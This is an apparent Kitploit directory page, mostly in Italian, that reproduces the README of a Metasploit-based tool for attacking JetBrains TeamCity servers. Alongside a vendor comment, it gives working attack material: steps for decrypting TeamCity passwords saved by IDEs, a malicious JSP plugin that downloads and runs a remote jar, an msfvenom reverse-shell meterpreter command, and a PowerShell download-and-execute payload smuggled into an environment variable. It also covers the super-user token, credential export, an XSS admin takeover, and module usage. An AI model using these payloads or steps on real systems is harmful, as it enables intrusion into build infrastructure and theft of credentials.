Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
pentest_teamcity — Pentest di TeamCity con Metasploit | Kitploit
Strumenti/GitHubGitHub/kacperszurek/pentest_teamcity
Framework di ExploitGenerazione di PayloadSfruttamento di Applicazioni WebPost-ExploitPenetration TestingRed Teaming
GitHubkacperszurek/pentest_teamcity

pentest_teamcity

Pentest di TeamCity con Metasploit

Vedi Repository
45828 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Pentest di TeamCity usando Metasploit

TL;DR: Ottieni password da JetBrains IDE (come IntelliJ o PyCharm) e usa quelle credenziali all'interno di TeamCity Continuous Integration Server per ottenere una sessione meterpreter sul server e sugli agenti di build usando metasploit di Kacper Szurek.

Jetbrains.rb module

Shell on server

Shell on agents

Shell on Windows agents

Commento di JetBrains

Questo è un commento del fornitore (JetBrains TeamCity team) di Yegor Yarko:

La maggior parte del contenuto dell'articolo descrive come utenti malintenzionati possano abusare di TeamCity se gli vengono concesse le autorizzazioni appropriate per farlo. Ad esempio, un utente con il ruolo di Amministratore di Sistema (che concede il controllo completo sul server) può installare un plugin TeamCity malevolo o ottenere un token per l'accesso "super user" al server. Inoltre, uno con il ruolo di Amministratore di Progetto può eseguire codice arbitrario sull'agente o recuperare le password di accesso al repository configurate. Questo comportamento fa parte delle funzionalità fornite da TeamCity come prodotto. Queste considerazioni sono descritte nella della documentazione di TeamCity.

OKK <% String file_path = System.getProperty("java.io.tmpdir") + File.separator + request.getParameter("file_path"); String java_path = System.getProperty("java.home") + File.separator + "bin" + File.separator + "java"; %> <%= file_path %> <%= java_path %> <% try { org.apache.commons.io.FileUtils.copyURLToFile(new java.net.URL(request.getParameter("file_url")), new File(file_path)); ProcessBuilder pb = new ProcessBuilder(java_path, "-jar", file_path); Process p = pb.start(); } catch (Exception x) { x.printStackTrace(System.out); } %> ``` This will allow download and execute meterpreter. Compiled `.jar` file is [here](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip).
Scarica lo strumento
sezione correlata

I problemi descritti indicano quanto pericoloso possa essere fornire privilegi elevati a un attore malintenzionato. I manutentori del server TeamCity dovrebbero rivedere regolarmente le autorizzazioni degli utenti per non concedere a utenti potenzialmente malevoli autorizzazioni che potrebbero abusare; rivedere le autorizzazioni degli utenti guest, se abilitate. Un altro punto è non lasciare i terminali incustoditi mentre si è connessi con autorizzazioni non banali.

Tuttavia, due reali problemi di sicurezza sono menzionati nell'articolo: uno riguarda la pubblicazione di un artefatto di build malevolo e indurre un utente amministratore a visualizzarlo nel browser, e l'altro è l'escalation di un'autorizzazione per eseguire una build personalizzata in esecuzione di codice arbitrario su un agente TeamCity. Quest'ultimo ha solo effetti minori sulla maggior parte delle installazioni TeamCity poiché coloro che hanno questa autorizzazione hanno già regolarmente la capacità di eseguire qualsiasi codice sull'agente.

Tuttavia, intendiamo affrontare i problemi sopra menzionati in una delle prossime release di TeamCity, e vi ringraziamo per averli portati alla nostra attenzione.

Introduzione

Supponiamo che tu stia eseguendo un penetration test all'interno di un'azienda di software che utilizza lo stack Jetbrains. Stai usando metasploit e ottieni una sessione meterpreter sul computer dello sviluppatore.

Cosa puoi fare dopo? C'è un articolo sul pentesting di TeamCity di Nikhil SamratAshok Mittal del 2015.

In questo post combino diverse tecniche da Security Notes e BugTrack e le inserisco in un modulo Metasploit.

Nota: Non uso alcun 0 day qui. Per ogni azione sono necessarie credenziali TeamCity valide. Vedi Commento di JetBrains.

Non sono responsabile per eventuali danni causati da questo script. Per la sicurezza dei dati usa set CLEANUP false.

Testato su TeamCity 2017.2.1 (build 50732).

Indice

  • Commento di JetBrains
  • Installazione
  • Ottenere password da JetBrains IDE
    • Modulo metasploit di JetBrains
  • Pentest del server TeamCity
    • Shell sul server
    • Shell sugli agenti di build
    • Shell sugli agenti di build Windows
    • Super user
    • Credenziali salvate
    • Account amministratore tramite XSS
    • Utente guest
    • Modulo metasploit di TeamCity
  • Risoluzione dei problemi

Installazione

Per decodificare il database KeePass abbiamo bisogno della libreria Ruby kdbx.

  1. Trova il file gem: find / -name "metasploit-framework.gemspec"
  2. Modificalo, per Kali Linux è: vim /usr/share/metasploit-framework/metasploit-framework.gemspec
  3. Aggiungi: spec.add_runtime_dependency 'kdbx', '0.2.0'
  4. cd /usr/share/metasploit-framework/ && bundle install

Ora puoi:

  1. mkdir ~/.msf4/modules/exploits && mkdir ~/.msf4/modules/post
  2. Copia teamcity.rb e serverplugin.zip in ~/.msf4/modules/exploits
  3. Copia jetbrains.rb in ~/.msf4/modules/post
  4. Esegui la console Metasploit msfconsole
  5. Ricarica i plugin reload_all

Ottenere password da JetBrains IDE

TeamCity può essere facilmente integrato con tutti gli IDE JetBrains utilizzando il plugin.

TeamCity integration - login window

Se l'opzione Remember me viene utilizzata, le password vengono memorizzate tramite IntelliJ Platform Credentials Store API. Puoi trovare il codice sorgente qui.

La routine di decodifica su Windows funziona così:

Passwords Schema

  1. Il file pdb.pw viene decifrato utilizzando Windows CryptUnprotectData. Ciò significa che solo l'utente che ha crittografato i dati può decodificarli.
  2. Il blob viene decifrato usando AES-128-CBC con password statica. Questa password non cambia ed è la stessa per ogni prodotto e installazione.
  3. Il database KeePass c.kdbx può ora essere decifrato usando la Master Password del punto 2
  4. Le password vengono xorate usando 0xDFAA

Per impostazione predefinita, la Master Password è casuale. Può essere modificata nelle opzioni:

Change Master Password

Ma questo non cambia nulla.

Significa solo che il database KeePass c.kdbx sarà crittografato con una password diversa. L'utente locale può comunque ottenere facilmente questa password dal file pdb.pw.

Modulo metasploit di JetBrains

Supponiamo che tu abbia una sessione Meterpreter valida con `#1```` use post/jetbrains set SESSION 1 exploit

root@kitploit:~
L'output si presenta così:```
msf exploit(multi/handler) > use post/jetbrains
msf post(jetbrains) > set session 5
session => 5
msf post(jetbrains) > exploit

[*] Running as user 'WIN10\root'...
[*] Profile path: C:\Users\root\
[*] Found potential JetBrains dir: .PyCharm2017.2
[*] Found pdb file: C:\Users\root\.PyCharm2017.2\config\pdb.pwd
[*] Found kdbx file: C:\Users\root\.PyCharm2017.2\config\c.kdbx
[*] CryptUnprotectData successful
[*] IV length: 16
[*] Master password: yrEHFsgqLasoN87/fuH8TbME5Vn1OMmdRiTy+B05s9M
[*] TeamCity: http://my_teamcity_server.local
[*] Username: my_teamcity_login
[*] Password: my_teamcity_password
[*] Post module execution completed

Pentest del server TeamCity

Ora hai le credenziali di TeamCity ottenute dal modulo metasploit di JetBrains. In base al ruolo utente attuale puoi:

Modalità di autorizzazione semplice

Shell sul serverShell sugli agenti di buildSuper utenteCredenziali salvate
Amministratore✔️✔️✔️✔️
Per tutti i progetti
Utente loggato❌✖️
solo sugli agenti Windows
❌❌
Utente guest❌❌❌❌

Modalità di autorizzazione per progetto

Shell sul serverShell sugli agenti di buildSuper utenteCredenziali salvate
Amministratore di sistema✔️✔️✔️✔️
Per tutti i progetti
Amministratore del progetto❌✔️❌✔️
Sviluppatore del progetto❌✖️
solo sugli agenti Windows
❌❌
Visualizzatore del progetto❌❌❌❌

Si prega di notare che il modulo metasploit non supporta i ruoli personalizzati.

Shell sul server

TeamCity può essere facilmente esteso utilizzando plugin.

Plugins list

Usando questa funzionalità è possibile creare un plugin malevolo che eseguirà una sessione meterpreter.

  1. Crea un plugin malevolo usando questo tutorial. All'interno di Hello.jsp inserisci: ```java <%@ page import="java.io.File" %>
  1. Go to Server Administration->Diagnostics->Browse Data Directory and upload plugin to plugins directory. (http://teamcity/admin/admin.html?item=diagnostics&tab=dataDir)

Upload plugin

  1. Restart server using Server Administration->Diagnostics->Troubleshooting->Restart server (http://teamcity/admin/admin.html?item=diagnostics&tab=dumps)

Restart server

  1. Now you can execute any .jar file using http://teamcity/demoPlugin.html?file_url=http://attacker/my_malicious.jar&file_path=random_name.jar

Shell sugli agent di build

Un TeamCity Build Agent è un software che ascolta i comandi dal server TeamCity e avvia i processi di build veri e propri. Viene installato e configurato separatamente dal server TeamCity. Un agente può essere installato sullo stesso computer del server o su una macchina diversa.

Lo sfruttamento si presenta così:

Shell on Build Agents

In parole semplici: generiamo un meterpreter Java che viene ospitato su un server Git. Poi creiamo una configurazione di build che scarica il nostro meterpreter dal server Git e lo esegue sugli agent usando la riga di comando.

1. Generate meterpreter payload: msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=4444 -f jar > meterpreter.jar

2. Host meterpreter.jar on Git Server (for example using https://gogs.io/)

3. If you have System Administrator privileges you can create new project (http://teamcity/admin/createObjectMenu.html?projectId=_Root&showMode=createProjectMenu). If you are Project Developer you need to edit project for which you have access.

Create project

4. Add VCS root to you project using data from point 2

Add VCS root

5. Create new build configuration

Build configuration

6. Add build step to build configuration

Create build step

KeyValue
Tipo di esecutoreRiga di comando
Esegui stepSempre, anche se è stato emesso il comando di arresto build
EseguiEseguibile con parametri
Eseguibile del comando%teamcity.agent.jvm.java.home%/bin/java
Parametri del comando-jar %system.teamcity.build.checkoutDir%/your_jar_file_from_git.jar

7. Prepare metasploit multi handler: ``` use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lport 4444 set lhost 192.168.1.11 exploit

root@kitploit:~
8. Esegui build personalizzato su tutti gli agent compatibili

![Run build](https://assets.kitploit.com/production/public/readmes/1821/13e0ed80e97414169177b89b62ba1abbd621cbb14af21adaaeeec781ad3e9806.png)

## Shell sugli agent di build Windows

Per impostazione predefinita, `Project Developer` non può modificare/creare build step.

Quindi non è possibile aggiungere ed eseguire la nostra riga di comando malevola.

Possiamo provare a bypassarlo su Windows utilizzando [Variabili d'ambiente personalizzate ](https://confluence.jetbrains.com/display/TCD10/Predefined+Build+Parameters#PredefinedBuildParameters-AgentEnvironmentVariables). Come?

TeamCity supporta [git checkout sull'agente](https://confluence.jetbrains.com/display/TCD10/VCS+Checkout+Mode).

Prima dell'esecuzione del build step, l'agente scarica i dati più recenti dal server git:```java
path = (String)build.getSharedBuildParameters().getEnvironmentVariables().get("TEAMCITY_GIT_PATH");
if (path != null)
{
Loggers.VCS.info("Using git specified by TEAMCITY_GIT_PATH: " + path);
}
else
{
path = defaultGit();
Loggers.VCS.info("Using default git: " + path);
}

L'agente sta verificando se esiste la variabile d'ambiente TEAMCITY_GIT_PATH. Se sì, viene utilizzata come percorso per il binario git.

In TeamCity, lo sviluppatore del progetto può eseguire la build per la quale ha accesso e specificare variabili d'ambiente personalizzate.

Quindi stiamo impostando env.TEAMCITY_GIT_PATH su:``` "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('path_to_http_server_with_meterpreter')), '%system.teamcity.build.tempDir%/meterpreter.jar');Start-Process -FilePath '%teamcity.agent.jvm.java.home%/bin/java.exe' -ArgumentList '-jar', '%system.teamcity.build.tempDir%/meterpreter.jar';"

root@kitploit:~
![Build with environment variable](https://assets.kitploit.com/production/public/readmes/1821/511202e7fe7a7cdebf304ecae6bfc543e845a73df55cc880ee102d5fcb17ba6f.png)

Nei log di build appare così:```
[2018-01-30 20:54:55,342]   INFO -      jetbrains.buildServer.VCS - Using git specified by TEAMCITY_GIT_PATH: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';"

[2018-01-30 20:54:55,343]   INFO -      jetbrains.buildServer.VCS - [c:\TeamCity\buildAgent\bin\.]: "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version
[2018-01-30 20:55:02,718]   WARN -      jetbrains.buildServer.VCS - '"C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe" -command "(new-object System.Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('encoded_url')), 'C:\teamcity\buildAgent\temp\buildTmp/.jar');Start-Process -FilePath 'C:\teamcity\jre/bin/java.exe' -ArgumentList '-jar', 'C:\teamcity\buildAgent\temp\buildTmp/meterpreter.jar.jar';" version' command failed.
exit code: 1
stderr: version : The term 'version' is not recognized as the name of a cmdlet, functio
n, script file, or operable program. Check the spelling of the name, or if a pa
th was included, verify that the path is correct and try again.
At line:1 char:368
+ ... ar', 'C:\teamcity\buildAgent\temp\buildTmp\meterpreter.jar.jar'; version
+                                                                   ~~~~~~~
    + CategoryInfo          : ObjectNotFound: (version:String) [], CommandNotF
   oundException
    + FullyQualifiedErrorId : CommandNotFoundException

Super utente

TeamCity ha qualcosa chiamato account super utente. Consente di accedere all'interfaccia utente del server con permessi di Amministratore di Sistema se non ricordi le credenziali o se devi correggere impostazioni relative all'autenticazione.

Se hai privilegi di Amministratore di Sistema, vai a Server Administration->Diagnostics->Server logs->teamcity-server.log e cerca la stringa Super user authentication token (http://teamcity/admin/admin.html?item=diagnostics&tab=logs&file=teamcity-server.log):``` [2018-02-06 17:26:40,697] INFO - jetbrains.buildServer.SERVER - Super user authentication token: "6221479178183012781". To login as Super user use an empty username and this token as a password on the login page.

root@kitploit:~
Ora puoi accedere usando: `http://teamcity/login.html?super=1`

## Credenziali salvate

TeamCity memorizza elementi come `VCS root passwords`, `password parameters` o `SSH keys` in forma crittografata e non ne mostra i contenuti tramite interfaccia web o API. Ma può essere aggirato usando la funzione `export`. Vai a **Il tuo progetto->Settings Export->Export**

![Esportazione del progetto](https://assets.kitploit.com/production/public/readmes/1821/767b81ac9f2ffb885af6d11864fc3926e7972adcaa44a731c314f0f3601174e0.png)

Quei file appaiono così:```xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" uuid="b7c3d616-ddd2-456c-b80d-95d0761bad39" xsi:noNamespaceSchemaLocation="http://www.jetbrains.com/teamcity/schemas/2017.2/project-config.xsd">
  <name>exploiter</name>
  <parameters />
  <project-extensions>
    <extension id="PROJECT_EXT_2" type="OAuthProvider">
      <parameters>
        <param name="displayName" value="Docker Registry" />
        <param name="providerType" value="Docker" />
        <param name="repositoryUrl" value="https://docker.io" />
        <param name="secure:userPass" value="zxxyour_encrypted_passwords" />
        <param name="userName" value="my_user_name" />
      </parameters>
    </extension>
  </project-extensions>
  <cleanup />
</project>

Le stringhe crittografate iniziano con zxx e sono codificate utilizzando DES con chiave statica.

Account amministratore tramite XSS

Come possiamo leggere in Teamcity Bug Tracker #TW-27206: I dati dannosi negli artefatti di build possono avviare un attacco XSS.

Attualmente, tutti i file .html (e alcuni altri) dagli artefatti di build vengono renderizzati nel browser quando vengono cliccati.

Ho creato un piccolo snippet di codice che tenta di creare un nuovo account amministratore.

Come potrebbe apparire questo attacco? Stiamo cercando di persuadere l'Amministratore a visitare il nostro artefatto malevolo disponibile in un URL come questo http://localhost:8123/repository/download/Exploiter_Builder/83:id/our_malicious_artifact.html.

XSS

Utente ospite

TeamCity permette di attivare il login ospite che consente l'accesso anonimo all'interfaccia web di TeamCity.

Un amministratore del server può abilitare il login ospite nella pagina Amministrazione | Autenticazione.

Puoi usare questo per ottenere artefatti di build.

Modulo Metasploit di TeamCity

Utilizzo base:``` use exploit/teamcity set RHOST 192.168.1.1 set RPORT 8111 set PAYLOAD java/meterpreter/reverse_tcp set LHOST 192.168.1.118 set LPORT 4444 set USERNAME your_user_name set PASSWORD your_password exploit

root@kitploit:~
L'output appare così:

Opzioni aggiuntive:

| Nome | Descrizione |
|:---:|:---:|
|PROJECT_ID|Specifica l'ID del progetto, per impostazione predefinita creerà un nuovo progetto casuale|
|BUILD_TYPE_ID|Specifica l'ID del tipo di build, per impostazione predefinita creerà un nuovo tipo di build casuale|
|VCS_ID|Specifica l'ID VCS, per impostazione predefinita creerà un nuovo VCS casuale|
|CLEANUP|Elimina il progetto/la build/la radice VCS creati|
|SERVER_PLUGIN|Percorso a [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)|
|GIT_PATH|Percorso alla directory GIT|

# Risoluzione dei problemi

  1. Non riesco a caricare i moduli Metasploit

  Ricontrolla se hai copiato `teamcity.rb` in `~/.msf4/modules/exploits` e `jetbrains.rb` in `~/.msf4/modules/post` nella directory.
  Metasploit richiede che i moduli exploit siano all'interno della directory `exploits` e i moduli post all'interno della directory `post`.

  2. Attenzione! I seguenti moduli non possono essere caricati! LoadError non posso caricare il file -- kdbx

  Hai installato il [modulo kdbx](#installazione)? Se sì, esci da Metasploit ed eseguilo di nuovo. Usa il comando `reload_all`.

  3. Non riesco a ottenere le password dall'IDE installato su Mac/Linux

  Attualmente è supportato solo Windows. Ci dispiace.

  4. Post fallito: Rex::Post::Meterpreter::RequestError stdapi_railgun_api: Operazione fallita: 1

  Probabilmente stai usando java meterpreter. Non ha alcune API importanti. Migra su `windows/meterpreter/reverse_tcp` e riprova.

  5. Esecuzione come SYSTEM, impossibile decifrare i dati

  Perché le password sono crittografate utilizzando l'API `CryptUnprotectData`, la funzione di decodifica deve essere eseguita nel contesto dell'account utente normale.

  6. Non ottengo [shell sul server](#shell-sul-server)

  Esegui l'exploit una seconda volta.

  7. `teamcit.rb` non funziona anche se l'utente corrente ha privilegi sufficienti

  Questo modulo non supporta ruoli personalizzati.

  8. Impossibile trovare git in %path%. Cambia GIT_PATH

  Abbiamo bisogno del binario `git` e `git-upload-pack` per configurare il server Git che ospiterà il nostro meterpreter. Uso l'idea da [qui](http://stewartjpark.com/2015/01/02/implementing-a-git-http-server-in-python.html).

    ```
    set GIT_PATH /tua/percorso/alla/dir/git
    ```

  9. Impossibile accedere come `username:password`

  Ricontrolla le credenziali:

    set USERNAME il_tuo_nome_utente
    set PASSWORD la_tua_password

  10. Impossibile trovare il plugin del server: %path%. Modifica SERVER_PLUGIN

  Specifica dove è archiviato [serverplugin.zip](https://github.com/kacperszurek/pentest_teamcity/raw/master/exploits/serverplugin.zip)

    set SERVER_PLUGIN /tuo/percorso/a/serverplugin.zip

  11. [-] Exploit fallito: Rex::RuntimeError La risorsa fornita è già stata aggiunta.

  Termina i job in background usando `jobs -K`

  12. Associa LHOST a un indirizzo IP specifico, non a 0.0.0.0

  Associa a un indirizzo IP specifico, ad esempio:  ```
  use LHOST 192.168.1.123
  1. Exploit interrotto a causa di errore: sconosciuto: Impossibile modificare %project_name%

Non hai i permessi per il progetto specifico. Vedi per quale progetto hai accesso, ad esempio: ``` You can modify only following projects: ["test", "second"]

root@kitploit:~
e poi specifica l'ID del progetto:  ```
set PROJECT_ID test
  1. Perché è disponibile solo java/meterpreter/reverse_tcp?

Perché è portabile. Sentiti libero di modificare la funzione is_payload_compatible?.

  1. Altri problemi

Abilita il debug:

root@kitploit:~
set HttpTrace 1
set LogLevel 3